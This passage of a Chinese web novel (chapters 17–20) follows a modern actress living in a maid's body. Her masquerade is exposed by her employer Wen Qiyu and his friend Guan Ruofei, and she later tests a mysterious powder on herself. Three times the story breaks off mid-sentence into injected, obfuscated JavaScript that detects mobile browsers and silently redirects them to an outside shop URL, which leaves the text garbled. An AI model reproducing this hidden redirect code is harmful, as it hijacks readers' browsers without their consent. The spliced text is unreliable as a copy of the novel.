叶之萤心中的警报又一次拉响,言多必失啊!怎么就不长记性呢!她一向话多,这一个月冒充李渔不能多说话,都快要被憋死了,但即使这样,偶尔还是会因为多嘴在雷区疯狂蹦迪。 她赶紧换上渔儿应有的唯唯诺诺的表情,打起圆场来:“渔儿就是看这些花这么美,想让少爷也能看到,就大胆尝试了一回,渔儿手笨,也不知少爷会不会喜欢。” 17. 手背的红点 正在她忐忑地等待床上之人的回答时,外面传来了一个陌生而又急切的男声音:“兄长,兄长!若飞来了!” 她刚回头,就看一个高大的男人从门外大步流星地走了进来。他身着孔雀蓝长袍,头戴银色发冠,身上还挂着墨绿色玉佩,剑眉花眼,挺鼻薄唇,唇红肤白,笑如春风,整个人如同一只正在开屏的孔雀,极其耀眼。 阿力跟在他身后,旁边还跟着一个年轻男子,估摸着是他的随从阿卓。 阿力偷偷给她使眼色,她心领神会,立马上前招呼:“关衙内!” 那人看了她一眼,激动道:“好你个渔儿!当日竟然从我府中偷跑出来,不知道的还以为我府上亏待了你呢!今日总算又让本少爷见到你了,你可知罪?” 知罪?阿力不是说他心地纯良吗?怎么一见到自己就开始兴师问罪了? 没办法,她只好先认下这罪:“关衙内……息怒,渔儿知罪。” 没想到,他竟大笑起来:“哈哈哈!看把你给吓的!渔儿,你怎么还是如此老实!” 叶之萤顿时一头黑线。 “别害怕呀!本衙内知道你有情有义、知恩图报,并不打算怪罪于你,只是逗逗你而已。平日里,我这古板的兄长可不会这般逗你开心吧?”他笑得灿烂无比,一副没心没肺的样子,这下她终于相信了阿力对他的评价。 开心个屁!她心里吐槽着,嘴上却是另一番光景:“关衙内还是那么风趣!” “呦,这花开得可真好!渔儿,你不是……” “若飞,你一路舟车疲惫,是否需要先去休息休息?”温其玉终于开口了,打断了他的话,这反倒是吊起了叶之萤的胃口,她看了眼瓶中的花,心想,他刚才到底想说什么? 关若飞风风火火走到床边,一屁股坐了下去:“兄长,不用休息,这一路上虽然快马加鞭,但进入黎城后,就像是进入了世外桃源一般,沿途风光旖旎、景色怡人,一点也不疲累,倒是有些饿了!” 听他这么说,叶之萤立马接话:“午膳已经备妥了,我这就去端来。” 床上的人却在此时对她说了一句让她摸不清头脑的话:“去洗一洗手。” 洗手?叶之萤有些困惑,是因为要招待客人,所以特意提醒她注意卫生吗?她一边往厨房走,一边把手举至眼前来回翻看,挺干净的呀! 由于温其玉不方便出屋子,也没法坐凳子,所以接风饭自然就在他屋子里吃。等二人将饭菜全部端到房里,已经是二十分钟后的事情了。关若飞和他不知在聊些什么,表情都有些严肃。 “关衙内,可以开饭了!”叶之萤将碗筷在桌上摆好,对他说。 他的目光自上而下将她打量了一遍,便走到桌边坐下吃饭。 叶之萤不知他刚才的举动是何意思,但她总觉得这二人对她的态度都怪怪的,她满腹狐疑地端起碗筷,开始给温其玉喂饭。 “渔儿!”关若飞突然叫她一声。 “关衙内,何事?”她一边将一块藕丁送至温其玉口中,一边淡定回答。 “元昇那厮已经被捉住了!”他说。 元昇是谁? 和李渔有什么关系? 他被捉住到底是好还是不好? 自己应该用什么反应去应答? 叶之萤拿着筷子的手随之顿在了空中,并偷偷瞥了一眼面前的温其玉,他正平静地看着她,脸上捕捉不出多余的表情。 既然关若飞特意给李渔说这事,说明这人一定和李渔有某些关系,他又用“这厮”来形容这人,说明不是自己人,既然如此,那多半是仇人,或者至少也是讨厌的人。 不能沉默太久,否则他们一定会起疑!她赶紧收回顿在空中的手,用筷子随便夹了一口米饭,笑着道:“那可太好了!” 只是她完全没有注意到,自己的笑容却僵在脸上很久没有消散,而那口米饭也被她不停地夹起、放下、再夹起、在放下…… “你怎么了?”温其玉问她。 “我就是高兴!”她假装笑着,终于把那口米饭喂到了他的嘴里。 趁温其玉吞咽的功夫,她把碗挡在自己和温其玉脸中间,快速向阿力投去求救的目光,可阿力悄悄做的口型她根本看不懂。 好在二人没有再继续元昇的话题,谢天谢地,总算逃过一劫。 这个关若飞,叶之萤早就猜到他的到来对自己来说是个灾难,只是实在没想到,这灾难来得如此令她措手不及! 饭后,她着急忙慌想跟阿力一起收拾餐具,目的自然是打听清楚元昇是谁,可关若飞却以好久没见她为由,执意拉着她聊天。没办法,她只好硬着头皮坐在温其玉和关若飞二人中间,陪他们聊了起来。而阿力则被温其玉差去为关若飞收拾房间。 “渔儿啊,当日在府中看你文文弱弱的样子,真没想到还是个烈性子,你快跟我讲讲,你是怎么孤身一人从京城到了江南的?”关若飞语气中尽是不可思议。 说实话,叶之萤当初听到这事,也和他一样不可思议。但好在那日听阿力讲过,也不至于回答不上:“当时温少爷不仅安排我进关府,还给了一些银两让我傍身,我一直存着没有用。当日离开时,便是带了银两一起走的。起先,我雇了一辆马车将我送至河岸,可到了那里才发现,一个女子不能独自乘船。于是我又在河岸边找到了一个同样下江南的大家庭,恳求他们带我一起走,一开始他们并不同意,后来我用银两偷偷买通了那家的娘子,并向她承诺只需要带我一起走就行,吃穿用行都不用他们管,于是她替我说情,这才终于跟着他们一起去了江南。” “原来是这样!”他的目光继续打量着她。 温其玉倒是很平静,叶之萤猜他应该是早就知道这些事了。可是既然他都知道,难道没有告诉关若飞吗? “对了,兄长,你有没有喝过渔儿做的乳酪酒?我这次来黎城,想着渔儿思念阿尔钦,特意带了那里的乳酪来!阿卓,去把本少爷带的乳酪拿来!”他一挥手,阿卓便去了。 元昇的事才刚过去,又来了一个乳酪酒?这个关衙内哪来这么多幺蛾子! “自我生病后便不曾饮酒,还未有口福喝过。”温其玉如是说。 还好温其玉不喝酒!叶之萤的心被关若飞搞得忽上忽下,忙不迭歇,正要放下时,又听见他说:“那可真是太遗憾了!那乳酪酒醇香油润,既有酒的清爽,又有酪的浓厚,辛辣中略带酸甜,令人回味无穷!渔儿从前每日都会为我做一杯,实乃人生之乐!只是……”说到这里,他倒遗憾起来,“自渔儿离开后,我便再未喝到过了。有时馋得紧,便让下人们按那做法做来喝,可始终与渔儿做的味道相差甚远!” 正遗憾着,又话锋一转,竟哀求起叶之萤来:“好渔儿,可愿意再为本少爷做杯乳酪酒?我可是想了很久很久了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991640|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶之萤被他架在火上烤的是外焦里也焦,连双手都开始发烫。乳酪酒是个什么东西,她连见都没见过。 “关衙内,不是渔儿推辞,只是,这里……没有酒,所以……”叶之萤陪着笑脸,希望他能就此放弃。 “没关系,待会儿我叫阿力领着阿卓去买一些回来再做也不迟!” 她只能先放弃挣扎。 “对了,渔儿……” 眼看这位关衙内又要开口,叶之萤再也听不下去了,忙打断了他滔滔不绝的讲话:“壶里的水有些凉了,我再去给您添点热水!” 也不等他同意,就起身端着桌上的茶壶匆忙落荒而逃。 身后传来关若飞的嘟哝声:“这水……不是刚倒的吗?” 倒水的间隙,叶之萤顺道去找了阿力,这才知道元昇原来就是当年杀李渔父母的阿尔钦人。再回到屋子时,屋里的两双眼睛一直盯着她,盯得她有些发慌。 “您的茶凉了,我再给您加些热水!”她端着茶壶,来到关若飞身边。 “渔儿,你的手……”他指着她的手关心道。 确实,她的双手从方才吃饭那会就有些红了,这会儿不仅红,还又烫又痒,仔细看,皮肤上还起了一些不规则的小包,像是过敏了。 她也不知道是为什么,只好随意答道:“多谢关衙内关心,或许是被什么东西刺激了,没关系,不碍事!” 温其玉看了一眼她的手,又看了一眼她的脸,眼中闪过一丝异样。 刹那间,叶之萤倒吸一口凉气。 他刚才为什么突然提醒她洗手? 难道…… 一种不好的预感涌上心头。 眼前的人缓缓开口:“你的手乃是起了花藓才会如此。” “花藓?”她忍不住反问了一句,刚说完,就意识到犯了大错。 温其玉的目光落在她中午插的那瓶花上:“两个月前李渔跟我说,发现这院中种着一株山茶花树,而她的皮肤一碰到山茶花的花粉就会起花藓,索性当时尚未开花,我心想,既是如此,让阿力把那棵树拔掉便好。不曾想第二日她就出了事,这事便一直搁置了,到今日花已全开,若不是你摘下它们,我竟完全忘了这茬。” 温其玉的目光从那株红花慢慢转到她身上,她不敢与他对视,趁他的目光迎上来之前,转头去打量那几朵刺眼的红花。 山茶花! 是啊!那形状规则、错落有致,标准的仿佛是用工具画出来的、整齐的像是用手摆出来的花瓣,不正是山茶花的特色吗?只是,平时见多了白色山茶花,头一回见这红色的,一下子竟然没反应过来! 更让她崩溃的是,李渔竟然对山茶花过敏!且只有温其玉和关若飞二人知道此事! 所以自己现在到底是应该继续垂死挣扎还是索性放弃抵抗?这是个问题。 “还有,你对于自己的仇人‘元昇’被捉一事也似乎并不在意。”关若飞此时也火上浇油起来,“至于‘乳酪酒’,虽为阿尔钦特产,但其实李渔只为我煮过一次,当日我品尝之后实在不能适应那股奇怪的味道,便再也没有让她煮过第二次。可我刚才故意说很喜欢喝‘乳酪酒’,还说你每日都会为我煮一杯,你却没有听出我话里的错误,你果然不是李渔!” 关若飞一边说出真相,一边惊讶地打量着她,仿佛即使知道了真相,也不相信李渔的身体里竟会是另外一个人。 18. 真相揭穿双双破防 听完这些话,叶之萤顿时心如死灰,原以为自己这台戏唱得不错,其实早已漏洞百出还浑然不知,真是讽刺! 被这两人当成猴耍,她羞从中来,一开口即是阴阳怪气:“二位少爷要是想知道我是谁,光明正大地问就好了,又何必浪费时间演刚才那一出呢?” 又对床上那位说:“什么时候看出来的?怎么不拆穿我呀?第一次不是拆穿得挺快的吗?怎么第二次这么好兴致愿意配合我演戏?不过也是,拆穿了我谁伺候您呀?您这身体动不了,心眼子倒是动挺快!” 一旁的关若飞听她这么说,急忙起身解释:“不是这样的,你误会了,我兄长确实早知你不是李渔,但刚刚是我提出试你一试,与兄长无关,兄长怕拆穿你的身份会令你无所适从,原本是不同意的,只是我执意要……” “哼,他有这么好心?”不等关若飞解释完,叶之萤就听不下去了,自己又不是没和温其玉打过交道,他是什么人,难道她自己会不知道?又瞥了眼床上的人,讽刺道,“温少爷真是演技超群啊!连我这个专业演员都甘拜下风。” 床上的人听完她的话冷笑一声,显然是被骂破防了,连吐好几个成语怼了回去:“哪里!与笑面阴阳、虚情假意、忍辱负重、能屈能伸的叶小姐相比,温某才是自愧不如。叶小姐真不愧是戏子出身,做戏的本领炉火纯青。” “不是,兄长,你刚刚分明不是这么说的啊,你不是说……” 这边关若飞还没能按得住温其玉的胡言乱语,那边叶之萤就又开腔了:“我笑面阴阳?我虚情假意?姓温的,你把话说清楚!” 他居然这样评价自己!这一个月的真心实意真是付给狗了! 关若飞还站在两人中间轮流劝,只恨不能分身同时劝两个人:“不是,你们别吵,此事皆是因我而起,兄长你先冷静冷静,叶小姐你也先别生气,此事真不是我兄长的主意,你别迁怒于他……” 不等他解释清楚,那边温其玉又开口了:“叶小姐莫不是忘了一个月前你是如何评价温某的?我早就觉察你不对劲了,但我实在是佩服你,即使心里已经如此厌恶这个麻烦的残废,嘴上还能熟稔地说出那些话,日日装作深情款款,这样虚伪的本领,当真无人能出其右!” 这一个月以来,自己尽心尽力地照顾他,到头来却得到这样的评价,叶之萤自然是不服气的:“温其玉!你凭良心讲话!这一个月难道我只是坐在你床边给你说些好听的话哄你开心这么简单吗?” 面对叶之萤的灵魂拷问,温其玉的眼神中似乎有了一丝闪烁。他心虚了。 叶之萤还觉得不够,继续大吐苦水:“我说过那些话又怎样?难道因为我说过那些话,所以这一个月对你的照顾都是假的?我活了这么大,从来都是别人照顾我,我还从来没有照顾过谁!可是这一个月,我尽心尽力照顾你,为了逗你开心想着法儿地陪你聊天,又担心那些话伤害了你,处处找机会弥补。即便是最开始那两天你一直为难我,该我做的事我也没有撂过挑子,没有因为讨厌你就故意折磨你。就算我是演戏,也是做足了功课想要把这场戏演好、演到你满意的。你既然心安理得享受了我的照顾,凭什么还这样鄙视我?你明明发现了异常,还闭口不言,让我像个马戏团的小丑似的在你面前傻兮兮表演,难道你不过分吗?” 温其玉没说话,面前劝架的关若飞倒是被她说得惭愧了:“叶小姐,今日都是我的错,我千不该万不该以小人之心度君子之腹,用这等手段折辱你……” 一道凌厉的目光射来,关若飞随即乖乖闭上了嘴。 “难道你扮演渔儿,就没有你的目的吗?”温其玉突然又开口反问她。 目的?自然是有的。但吵架的时候,为了占领道德高地,自然也是不能承认的! 为了不落下把柄,叶之萤恶人先告状,瞥了眼他的身体冷笑着问他:“我有目的?呵!你自己看看你的样子,我图你什么?谁给你的自信?” 这句质问果然成功羞辱了温其玉,他瞬间脸色铁青,一旁的关若飞也大惊失色。 嘴快一时爽,可话音一落,叶之萤就意识到自己过分了,只是说出去的话就如同泼出去的水,覆水难收,只得继续嘴硬:“在柴房里每天吃饱了睡睡饱了吃,不比照顾你轻松?要不是你当时寻死觅活的,阿力又怎么会跑去求我假扮李渔?要不是我动了恻隐之心,我又怎么会同意阿力的请求?” 由于心虚,她的气势越来越弱,到最后索性不嘴硬了:“我本来是想好好跟你解释的,是你先话里话外讽刺我,我气不过才反击你的!但不管怎样,我都不该又拿你的身体说事,刚才的话当我没说!” “这就对了,有话好好说嘛,何必要争吵呢?我看这位……叶小姐,也是位心地善良之人,她假扮渔儿起因乃是为了救兄长,也属情有可原,刚才的争执不过都是误会而已!兄长消消气!”关若飞在一旁做着和事佬,笑着劝温其玉不要再生气。 可温其玉却不依不挠:“为了救我?我这种自私狠毒之人,活该一辈子这样生不如死,这不是你说的吗?你会如此好心救我?怕不是无处可去,才想出这办法赖在这里不走吧!” “温其玉,你没完了是吗?难道我当时骂你骂错了吗?我都说了我怕……那个东西,我都已经那样求你了,你还非要逼我,你不是恶毒是什么?我……” 她话还没说完,就被阿力的声音打断:“关衙内,房间已经打扫好了,您可以……” 然而,阿力的话也没说完…… “渔儿?”许是感受到这屋子不同寻常的气氛,他也隐隐猜到了什么,试探着轻声叫了她一声。 叶之萤一听“渔儿”这两个字就炸了毛,激动地朝他吼了起来:“别鱼儿虾儿的了,再也不要让我听见这两个字了!” 阿力瞬间抽了一口气,“扑通”一声跪在地上:“少爷,都是我的错,当时您滴水不进,我怕您出事,这才去求叶小姐假扮渔儿姑娘,叶小姐心善,不忍看您折磨自己,才犹豫着应下此事。您可千万别怪她,要怪就怪阿力吧!” 别说,阿力这小子还真是仗义,关键时刻有事他真能抗! “你为了他能活下来费心费力来求我帮忙,说了多少好话才说动我,他为什么要怪你?他应该感谢你才对啊!若是他不仅不谢你,反而因此怪你,说明他就是个是非不分之人,你也就别跟着他了!”叶之萤故意这样说,目的是希望温其玉哪怕是为了自己的面子,也能放阿力一马。 阿力却使劲摆手,不让她继续说下去。 她看了一眼坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991641|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上的男子,他的身体已经开始倾斜,眉心紧紧皱在一起,脸上露出痛苦难捱的表情,不知是因为坐的时间太长还是被她气的,她又一次动了恻隐之心。他今日所言皆是自己那日口出狂言时骂他的话,若不是那些话伤他太深,他又怎会始终无法释怀? 良言一句三冬暖,恶语伤人六月寒。恶语是无形的利刃,杀死多少无辜之人。她自己曾经作为一位公众人物,每天都面对各种网络暴力和恶意中伤,本就是语言暴力的受害者,更应该对此感同身受才对,却还频频对他恶言相加,实属不该。 叶之萤深吸一口气,对床上的人说:“温其玉,我知道,因为我的那番话,你到现在都恨我。” 可即使这么恨她,他还是在明知她不是李渔的情况下选择了不拆穿她,还像善待李渔那般善待着她。那些温柔的笑,那些真实的关心,叶之萤原以为都是对李渔的,没想到竟是对自己的,竟是对那个不久前才对他恶语相向、几近将他气死的人的。 犹记得那日,他对她说,不怪她。 阿力曾说,他的少爷对身边的每个人都很宽厚;关若飞也说,他的兄长原本是不想拆穿她的,只因怕她会无所适从。难道他真如他们所说、如自己这些日子感受的那样,是个好人吗? 叶之萤心一软,对他再也气不起来了。 “温其玉,当时你总是故意欺负我,那是你做的不对,我还击也是你活该。只是我也不该说那些没有分寸、攻击你身体的话。我向来都是被身边的人宠着、捧着,无论多霸道都会被原谅,所以口无遮拦习惯了。那几日在柴房里冷静下来后,我其实已经万分后悔。之所以答应阿力假扮渔儿,有一部分原因就是我想要亲手弥补自己的错误。你说我是良心发现也好,是胆小怕事也罢,总之如果你真的因我的恶语而死,那我恐怕也不知道该怎么活了。当我假扮渔儿的时候,我借着渔儿的身份对你说的那些话,并不是虚情假意、笑面阴阳,也并不是在演戏给你看,那些都是我真心想对你说的。” 她相信,正如自己能感受的到温其玉的善意一样,他肯定也能感受到自己的善意。 “阿力跟我讲了你的故事,我活了二十八年,做了近十年艺人,官场上的人见过不少,但上阵杀敌的英雄却从没见过。答应阿力的另一个原因,是我打心里敬佩你。虽然我与你们没有生在同一时代,但我知道,我们脚下的这片土地从来都不太平,只是因为有你这样的英雄,舍身忘死守护着这片土地的安宁,我们这些后人才得以继续在这片土地上耕种劳作、莺歌燕舞。因此,虽然我之前确实很烦你,虽然我确实怕被你赶走,但是对于你的照顾,我并不是装模作样、逢场作戏,这些话,即使我不解释,相信你也应该可以感受得到。” 温其玉的喉结明显滚动了一下,表情也不像刚才那样冷酷了。 “其实我假装李渔,每天都很矛盾,不知道要不要告诉你真相,什么时候告诉你真相?我怕自己露出马脚被你发现,又怕你知道李渔并没有回来又想求死,还怕你变回之前的样子跟我吵架,更怕被你赶走流落街头,真的是每天都不得安宁。”说到这一个月的生活,她无奈地叹起了气,“现在真被你发现,反而轻松了。人各有命,无需强求。我……走了,谢谢你这些日子的收留,各位保重!” 19. 原来是弟弟! 经过这一折腾,叶之萤再也不奢求能留在这里了。 关若飞却一把拦住了她。 “你……干什么?” “兄长,可不能让叶小姐走,她要是走了,就把李渔一起带走了!就算只是主仆关系,我们也应该替渔儿把她的身体照看好,是不是?我看,等渔儿回来了再让她走也不迟!”他没有回答叶之萤的问题,而是直接请示床上的人,只是伸出的胳膊依旧挡在叶之萤身前。 “是啊,少爷!就算渔儿要走,也应该安顿好她的去处,要是现在让叶小姐带走了,也不知道会带到哪里去。更何况,就凭叶小姐……恕阿力直言,让她一人离开恐怕是凶多吉少,到时只怕渔儿姑娘跟着她一起遭殃!”阿力也跟着附和。 好你个阿力,竟然这么瞧不起我! “我也是从小走南闯北的,你看不起谁呢!”叶之萤扭过头去警告阿力,阿力疯狂摇头,示意她别再说了。 许久,温其玉都没有说话,叶之萤猜他恐怕也是不知道该拿她怎么办了吧! “兄长,你说话呀!你刚不是说愿意叶小姐留在温宅吗?”关若飞急得恨不得替温其玉开口。 是吗?他真的说了吗?叶之萤有些不敢相信。 见温其玉不开口,关若飞又道:“不如这样,要是兄长不愿再让叶小姐伺候,就让她伺候我吧!到时我带她回关府,兄长意下如何?” 温其玉还没来得及接话,就听叶之萤大吼起来,反应完全在他的意料之中。 “你闭嘴吧!真当我是丫鬟啊?我凭什么伺候你?” “欸,脾气还真不小!本公子救你呢,别不知好歹!更何况,你本来就是我的丫鬟啊!”他看着她,装模作样道。 叶之萤瞥了他一眼:“关衙内,你心里的如意算盘打得观音菩萨在紫竹林都听见了,你以为我会听不见?” “噗!”一旁的阿力忍不住笑出了声。 “你这丫头,嘴巴怎么这么厉害!” “丫头?”叶之萤一挑眉,问道,“你多大了?” “本公子今年二十有四!”他得意道。 没想到叶之萤却回他:“我二十八,别叫丫头,叫姐姐!” “什么?那你岂不是比我兄长还大一岁?”他一副不可置信的表情,看看叶之萤,又看看温其玉。停了一会儿,像是想到了什么,又不屑道,“反正我们都不知道你的真实模样,别说二十八了,你就是说自己三十八、四十八我们也拿你没辙。” “我骗你干嘛,我就是二十八。”说完,又瞥了眼床上的人,笑了起来,“搞了半天,一屋子都是弟弟!” 温其玉从中午便一直坐着到现在,看起来体力已经撑到了极限,脸上已经苦色难掩。 他不愿在关若飞面前示弱,叶之萤也正好需要跟他单独做个告别,便顺势替他解了围:“关衙内,谜题已经解开了,还有什么要问我的吗?” “嗯?哦……方才实在抱歉,叶小姐要怪就怪我,千万别再怪我兄长了。”又俯身对温其玉行了礼,“兄长,我也有些乏了,先回房休整一下,晚些时候再过来。” 站直身子后,他将脸靠近叶之萤,又细细地打量了一番:“还真别说,虽然样子还是那个样子,可那股劲儿还就是不太一样!对了,还不知道叶小姐芳名?” “叶之萤,树叶的叶,萤火的萤。” “叶之萤!以后就叫你夜莺吧!我跟你说,夜莺,你可不能偷偷走了!” 叶之萤的心“轰”的一下被这两个字击中。 夜莺! 在那个世界,大家都这样叫她! 她的泪水突然像泄了洪似的往外涌。 “夜莺,你怎么了?”关若飞看她突然泪奔,忙掏出一块手帕递给她。 叶之萤没有接他的手帕,只用袖子胡乱抹了几下脸,草草道:“我没事,只是有东西进眼睛了,你先回房吧。” 出门时,关若飞还不忘一步三回头跟温其玉交代,一定不能放她走! 关若飞离开后,阿力扶温其玉重新躺下。可即使躺下了很久,他的眉心都没有舒展。 “我……帮你按一按?”叶之萤谨慎地征求他的意见。如今自己已经不再是李渔,自然不能再像之前那样了。 “不劳烦叶小姐了,让阿力来吧。”他果然拒绝了。 “那个,我……要不,我待会儿就走吧。”她站在他床边,不知除了这个,还能再说些什么。 “你打算去哪里?”他反问她,见她不语,又道,“不如你跟着若飞,去京城吧。” “你也觉得我该去给他做丫鬟?”叶之萤难以置信,关若飞刚刚的胡话他居然听进去了。 他皱起眉头,而后问她:“还记得我昨日让你画押的地契吗?” “嗯。” “待手续办完,那便是李渔的宅子了,届时,你可随若飞一同进京,去那里暂且住下,直至你与李渔的灵魂重新换回来。”他的语气冷淡得仿佛是在与她处理一件公务,令叶之萤不禁怀疑,他如此安排,到底是在关心她,还是仅仅为了把讨厌的她从温宅支走? “可是那宅子是你给渔儿的,我不能去住。”她拒绝。 “是李渔的,但现在你就是李渔。”他缜密的逻辑令叶之萤无言以对。 只是不知从何时起,温其玉对这具身体的原主人的称呼再也不是“渔儿”了,而是直呼其“李渔”,这样的态度转变令叶之萤隐隐觉察到些许不正常。 再联想到梳妆台上那根阿力的头发,她突然有了个想法:莫非他也已经怀疑李渔了?所以才让阿力去检查李渔的房间! 这并不令她意外,或者说,凭温其玉的头脑,他早就应该对李渔的这些小动作有所怀疑才对!但有一事她却想不通:假如他已经开始怀疑李渔,为什么又要在没有查清楚真相的情况下急着送李渔地契和银票呢?这太不合理了。 如今,又让她去京城住那间宅子,他葫芦里到底卖的什么药? 难道……那宅院和银票其实根本不是送给李渔的,而是假借李渔的名义给她的?所以才要在关衙内来之前让她按好手印,再由关衙内配合拆穿她的身份,借机与她大吵一架,赶她去京城? 可是刚才那关衙内分明说了,温其玉没打算让她离开啊? 她脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991642|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱得很,试探着问他:“你想让我去京城?” 可是温其玉的回答却出乎她的意料:“叶小姐,我不知你是如何想的?倘若你想离开这里,那我希望能为你接下来的生活提供一些小小的帮助;倘若你还愿意留下,那你便安心在这里住下,就住在现在那间屋子里。” 原来他并不是非要把她赶去京城,而是因为不知道她的想法,这才做了两手准备! 只是,叶之萤实在想不通,为何他突然之间变得这样宽宏大量?他难道不应该当场拆穿自己,再把自己重新关进柴房吗?他怎么能容忍自己骗他这么久?还愿意给自己提供帮助和住处?这一个月,他是怎么了?这还是自己一开始认识的那个神经病吗? “你……你是温其玉吗?”她探着头,仔细打量起了他的样子,心想难道他也和自己一样,跟人互换灵魂了? “我当然是。”他被问得有些无奈,而后对她说,“叶小姐,你我初次见面时,那段时间,我的心智似乎被某些东西控制了,使我对你做了许多错事,你若是因此恨我,我自当承受。但如今我已恢复如常,你不必担心自己留在这里会再经历那样的事。” 叶之萤也在这一刻下定了决心。就算去京城,接下来又该怎么办?况且,温其玉如此厚待她,她更得在离开前帮他查出那白色粉末和李渔身后的秘密,不能丢下他不管!要是去了京城,还怎么查? “我能继续留在这里么?”她问。 “那你继续住在李渔的房间吧。”他笑着回答。 “谢谢!对了,你是什么时候发现我不是李渔的?”叶之萤实在想知道,自己到底是哪里露出了破绽。 “你的按摩手法,与她的不一样。阿力更不会如此不谨慎,将鼠药置于灶台上。” “那岂不是第一天就发现了?”叶之萤五雷轰顶,还以为自己演得多好呢,没想到又是一秒被识破。 更让她没想到的是,他居然饶有兴致地配合她演了一个月! “还有别的吗?” “李渔平日里话很少,总是害羞,不善于说甜言蜜语,也没有你这般自信。每个人身上的气质都是不同的。”他如实回答,“李渔从不让人进她的房间,也从不与人玩笑。还有,她的父母并未葬在蒙州,而是葬在松州。” 那日,他故意说错试探,她却没听出破绽。 “这么多漏洞啊?”叶之萤被打击得人都蔫了,“那……你既然早就知道我不是她,为什么还要让我在地契上按手印?” 他歉然道:“叶小姐,这些日子我令你受了不少委屈,你还愿意不计前嫌救我性命,我很感谢你的大度和善良,但倘若你对我、对我做的那些事无法释怀,不想再待在这里,我想,京城繁华,你或许会喜欢。” 叶之萤现在终于信了阿力对温其玉的评价,这是她在一个月前哪怕死也不会信的。可是一个月前,在他身上到底发生了什么,才能让一个这样温柔的好人变得那样乖张? “手上的花藓,去找林大夫配点药。” “嗯……那就让我继续做李渔做的事情吧。”她可不想在这里白吃白住。 “好。” 20. 实验 叶之萤又重新做回了李渔的工作,这次是以叶小姐的身份,但在不明真相的外人面前,大家还是叫她渔儿。 温其玉每月给她五两银子,比李渔还多二两,但交给她的工作却比以往少了很多。 他的身体状况有了很大的进步,虽然还是不能动,但是上半身明显比之前有力了些,坐的时间比从前长了许多。右手的食指也不再像以前那样只能微微颤动,而是能做较大幅度的屈伸了。整个人的精神状态都有了明显的改善。 关若飞住在园子东边的厢房,除了阿卓外,温其玉还给他单独安排了两个丫鬟伺候。 他日日都在和叶之萤斗嘴,从没赢过她,却始终不见他退缩,反而越挫越勇。正如阿力所说,他确实是一个纯良的纨绔子弟。 阿力答应帮她捉的老鼠时隔半个月终于捉到了,她将那只老鼠关在提前准备好的笼子里,当晚便开始了实验。 她先用手帕将自己的口鼻全部包住,以免误食,又将那包东西从木桌底下取出,用小勺挖了一些掺到老鼠喝水的碗里。之后,谨慎地对着老鼠喝水的碗闻了闻。 奇怪的是,她始终没有再闻到那天晚上那张手帕上的淡淡香味。那香味到底是从哪儿来的,始终令她百思不得其解。 第二日一早,她跑到笼子前观察老鼠的情况,可与她预想的完全不同,老鼠的精神状态看起来和前一天并无二致,更没有像她之前那样浑身无力。 难道是药力不足?她又往碗里多放了些白色粉末,可是之后的两天,老鼠看起来都没有问题。 这让她不禁开始怀疑,自己那日的症状难道不是因为误食了那粉末?难道只是巧合? 但她又始终觉得这事没那么简单,那粉末一定是有问题的!既然老鼠实验不成功,干脆就再用自己试一次。 于是那一晚,她又给自己倒了一杯水,舀了一点粉末倒进去,就在拿起杯子那一刻,她的手开始紧张地不住发抖,连杯子里的水都洒在了桌上。 她害怕了。 叶之萤,没事!就算是毒药,也不过是暂时让人身体麻痹而已,两天就恢复了,上次不都经历过了吗? 一回生二回熟,不会有事的! 别怕!你看,老鼠不是都没事吗? 难道你不想查出真相吗? 她不停给自己打气。 杯子就在嘴边,她犹豫了许久,终于,在一次深呼吸后,闭眼、抬头、张嘴,将那杯水全部倒进了嘴里。喝完后,她平躺在床上,等待时间的宣判。 过了一会儿,她果然又闻到了上次手帕上的那种香味,于是急忙起来在屋里到处闻,最后竟发现那味道是从自己袖子上的发出来的。 为什么会是袖子?她闭上眼睛,仔细回忆刚才发生的细节。 她拿起杯子时,里面的水不小心洒出来了一些,之后,她的袖子不小心蹭在桌上…… 桌上有水!水里有药! 答案似乎已经呼之欲出了。 再联想到上次的事发经过,那一次,她不小心把水撒在了手帕上…… 手帕上也有药! 她“腾”地从床上跃起,趁自己还有力气,找了一块干净的手帕,把白色粉末放进水里,融化后又将水洒在手帕上。果然,过了一会儿,手帕上就散发出了香味儿! 原来让这药发出香味的关键除了让它溶于水之外,不可或缺的还有一步,就是要将溶液倒在布料上。她猜,或许正是布料上的某种物质才能跟这溶液发生反应,生成一种有异香的物质。 此时,兴奋已经取代了恐惧,她迫切地想印证自己的猜想,便又回到床上继续躺着,并把沾了药的手帕放在床头,让自己能持续地闻到那股味道。 大概过了一两个小时,她的身体开始发软,又过了一会儿,开始变得无力,但她一点儿都不难受,反而很舒服,有种忘记烦恼的快活,和上次一样。她躺在床上,仔细地感受着身体的每一点变化,慢慢睡着了。 